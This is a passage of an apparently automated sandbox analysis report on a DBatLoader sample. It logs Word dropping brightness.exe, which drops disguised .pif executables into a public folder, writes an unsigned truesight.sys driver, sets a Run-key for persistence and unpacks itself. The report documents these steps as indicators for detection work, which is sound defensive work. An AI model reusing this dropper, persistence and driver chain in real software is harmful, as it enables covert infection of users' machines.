          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: ??l.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: sppc.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: sppc.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: sppc.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: sppc.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: tquery.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: cryptdll.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: spp.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: vssapi.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: vsstrace.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: spp.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: vssapi.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: vsstrace.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: mssip32.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: msasn1.dll
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFSection loaded: endpointdlp.dll
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\InprocServer32Jump to behavior
          Source: Window RecorderWindow detected: More than 3 window changes detected
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\CommonJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEFile opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dllJump to behavior
          Source: Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: brightness.exe, 00000008.00000002.2228361462.0000000020510000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2200013988.0000000000874000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2230547224.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2232389580.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2199559053.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002460000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000003.2318831229.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2359054584.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002534000.00000004.00001000.00020000.00000000.sdmp
          Source: Binary string: easinvoker.pdb source: brightness.exe, 00000008.00000002.2228361462.0000000020510000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2230785597.00000000214AA000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2198932373.000000007F410000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002460000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.000000000251A000.00000004.00001000.00020000.00000000.sdmp
          Source: Binary string: _.pdb source: jphwmyiA.pif, 0000000C.00000003.2210977844.0000000024507000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3443379570.0000000025EE9000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000003.2235153147.000000002455F000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3450918250.0000000028730000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000003.2336023047.0000000018834000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3451247424.000000001CB10000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3443379993.000000001A199000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000003.2330033359.00000000187DC000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3441954113.0000000029FF9000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000003.2406157824.00000000283ED000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000003.2431587396.0000000028445000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3450696077.000000002C9B0000.00000004.08000000.00040000.00000000.sdmp
          Source: Binary string: easinvoker.pdbGCTL source: brightness.exe, 00000008.00000002.2230547224.0000000021382000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2228361462.0000000020510000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2230785597.00000000214AA000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2199849372.0000000000874000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2198932373.000000007F410000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002460000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.000000000251A000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000003.2318408948.000000000070E000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000003.2318408948.00000000006DF000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000011.00000003.2397508474.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000011.00000003.2397508474.0000000000889000.00000004.00000020.00020000.00000000.sdmp

          Data Obfuscation

          barindex
          Detected unpacking (changes PE section rights)
          Source: C:\Users\Public\Libraries\jphwmyiA.pifUnpacked PE file: 12.2.jphwmyiA.pif.400000.0.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
          Source: C:\Users\Public\Libraries\jphwmyiA.pifUnpacked PE file: 16.2.jphwmyiA.pif.400000.1.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
          Source: C:\Users\Public\Libraries\jphwmyiA.pifUnpacked PE file: 20.2.jphwmyiA.pif.400000.1.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
          Detected unpacking (overwrites its own PE header)
          Source: C:\Users\Public\Libraries\jphwmyiA.pifUnpacked PE file: 12.2.jphwmyiA.pif.400000.0.unpack
          Source: C:\Users\Public\Libraries\jphwmyiA.pifUnpacked PE file: 16.2.jphwmyiA.pif.400000.1.unpack
          Source: C:\Users\Public\Libraries\jphwmyiA.pifUnpacked PE file: 20.2.jphwmyiA.pif.400000.1.unpack
          Yara detected DBatLoader
          Source: Yara matchFile source: 8.2.brightness.exe.22c65a8.1.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 8.2.brightness.exe.22c65a8.1.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 8.2.brightness.exe.2830000.2.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000008.00000002.2213632449.00000000022C6000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000002.3410815376.0000000000B90000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000008.00000002.2233031033.000000007FBB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000C.00000002.3410702228.0000000000C20000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.3410753000.0000000000B90000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000001.2321191405.0000000000B90000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000C.00000001.2208904113.0000000000C20000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000001.2400403863.0000000000B90000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
          .NET source code contains method to dynamically call methods (often used by packers)
          Source: 12.2.jphwmyiA.pif.25f2a8c6.2.raw.unpack, WP6RZJql8gZrNhVA9v.cs.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
          Source: 12.3.jphwmyiA.pif.24507b80.0.raw.unpack, WP6RZJql8gZrNhVA9v.cs.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
          Source: 12.2.jphwmyiA.pif.28fc0000.6.raw.unpack, WP6RZJql8gZrNhVA9v.cs.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
          Source: 12.2.jphwmyiA.pif.28730ee8.4.raw.unpack, WP6RZJql8gZrNhVA9v.cs.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
          Source: 16.2.jphwmyiA.pif.1d140000.6.raw.unpack, WP6RZJql8gZrNhVA9v.cs.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
          Source: 16.2.jphwmyiA.pif.1cb10ee8.5.raw.unpack, WP6RZJql8gZrNhVA9v.cs.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
          Source: 16.3.jphwmyiA.pif.187dcca8.0.raw.unpack, WP6RZJql8gZrNhVA9v.cs.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
          Source: jphwmyiA.pif.8.drStatic PE information: 0x7BBD3E91 [Sun Oct 14 18:38:09 2035 UTC]
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_02848798 LoadLibraryW,GetProcAddress,FreeLibrary,8_2_02848798
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_0285D2FC push 0285D367h; ret 8_2_0285D35F
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_028332FC push eax; ret 8_2_02833338
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_0283635A push 028363B7h; ret 8_2_028363AF
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_0283635C push 028363B7h; ret 8_2_028363AF
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_0285D0AC push 0285D125h; ret 8_2_0285D11D
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_0285D1F8 push 0285D288h; ret 8_2_0285D280
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_0285D144 push 0285D1ECh; ret 8_2_0285D1E4
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_028486B8 push 028486FAh; ret 8_2_028486F2
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_02836736 push 0283677Ah; ret 8_2_02836772
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_02836738 push 0283677Ah; ret 8_2_02836772
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_0283C4EC push ecx; mov dword ptr [esp], edx8_2_0283C4F1
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_0283D520 push 0283D54Ch; ret 8_2_0283D544
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_0283CB6C push 0283CCF2h; ret 8_2_0283CCEA
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_0284788C push 02847909h; ret 8_2_02847901
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_028468C6 push 02846973h; ret 8_2_0284696B
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_028468C8 push 02846973h; ret 8_2_0284696B
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_0284E9E8 push ecx; mov dword ptr [esp], edx8_2_0284E9ED
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_0284890E push 02848948h; ret 8_2_02848940
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_0284A917 push 0284A950h; ret 8_2_0284A948
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_02848910 push 02848948h; ret 8_2_02848940
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_0284A918 push 0284A950h; ret 8_2_0284A948
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_0283C967 push 0283CCF2h; ret 8_2_0283CCEA
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_02842EE0 push 02842F56h; ret 8_2_02842F4E
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_0285BFA0 push 0285C1C8h; ret 8_2_0285C1C0
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_02842FEC push 02843039h; ret 8_2_02843031
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_02842FEB push 02843039h; ret 8_2_02843031
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_02845DFC push ecx; mov dword ptr [esp], edx8_2_02845DFE
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_0041C40C push cs; iretd 12_2_0041C4E2
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_00423149 push eax; ret 12_2_00423179
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_0041C50E push cs; iretd 12_2_0041C4E2
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_004231C8 push eax; ret 12_2_00423179
          Source: 12.2.jphwmyiA.pif.25f2a8c6.2.raw.unpack, WP6RZJql8gZrNhVA9v.csHigh entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'Um61XJt4G2w4U', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
          Source: 12.3.jphwmyiA.pif.24507b80.0.raw.unpack, WP6RZJql8gZrNhVA9v.csHigh entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'Um61XJt4G2w4U', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
          Source: 12.2.jphwmyiA.pif.28fc0000.6.raw.unpack, WP6RZJql8gZrNhVA9v.csHigh entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'Um61XJt4G2w4U', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
          Source: 12.2.jphwmyiA.pif.28730ee8.4.raw.unpack, WP6RZJql8gZrNhVA9v.csHigh entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'Um61XJt4G2w4U', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
          Source: 16.2.jphwmyiA.pif.1d140000.6.raw.unpack, WP6RZJql8gZrNhVA9v.csHigh entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'Um61XJt4G2w4U', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
          Source: 16.2.jphwmyiA.pif.1cb10ee8.5.raw.unpack, WP6RZJql8gZrNhVA9v.csHigh entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'Um61XJt4G2w4U', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
          Source: 16.3.jphwmyiA.pif.187dcca8.0.raw.unpack, WP6RZJql8gZrNhVA9v.csHigh entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'Um61XJt4G2w4U', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'

          Persistence and Installation Behavior

          barindex
          Drops PE files with a suspicious file extension
          Source: C:\Windows\SysWOW64\brightness.exeFile created: C:\Users\Public\Libraries\jphwmyiA.pifJump to dropped file
          Source: C:\Windows\SysWOW64\brightness.exeFile created: C:\Users\Public\Libraries\Aiymwhpj.PIFJump to dropped file
          Drops executables to the windows directory (C:\Windows) and starts them
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEExecutable created and started: C:\Windows\SysWOW64\brightness.exeJump to behavior
          Sample is not signed and drops a device driver
          Source: C:\Windows\SysWOW64\brightness.exeFile created: C:\Windows \SysWOW64\truesight.sysJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFFile created: C:\Windows \SysWOW64\truesight.sysJump to behavior
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFFile created: C:\Windows \SysWOW64\truesight.sys
          Source: C:\Windows\SysWOW64\brightness.exeFile created: C:\Users\Public\Libraries\jphwmyiA.pifJump to dropped file
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEFile created: C:\Windows\SysWOW64\brightness.exeJump to dropped file
          Source: C:\Windows\SysWOW64\brightness.exeFile created: C:\Users\Public\Libraries\Aiymwhpj.PIFJump to dropped file
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEFile created: C:\Windows\SysWOW64\brightness.exeJump to dropped file
          Source: C:\Windows\SysWOW64\brightness.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AiymwhpjJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AiymwhpjJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_0284A954 GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,8_2_0284A954
          Source: C:\Users\Public\Libraries\jphwmyiA.pifRegistry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRootJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifRegistry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot
          Source: C:\Users\Public\Libraries\jphwmyiA.pifRegistry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
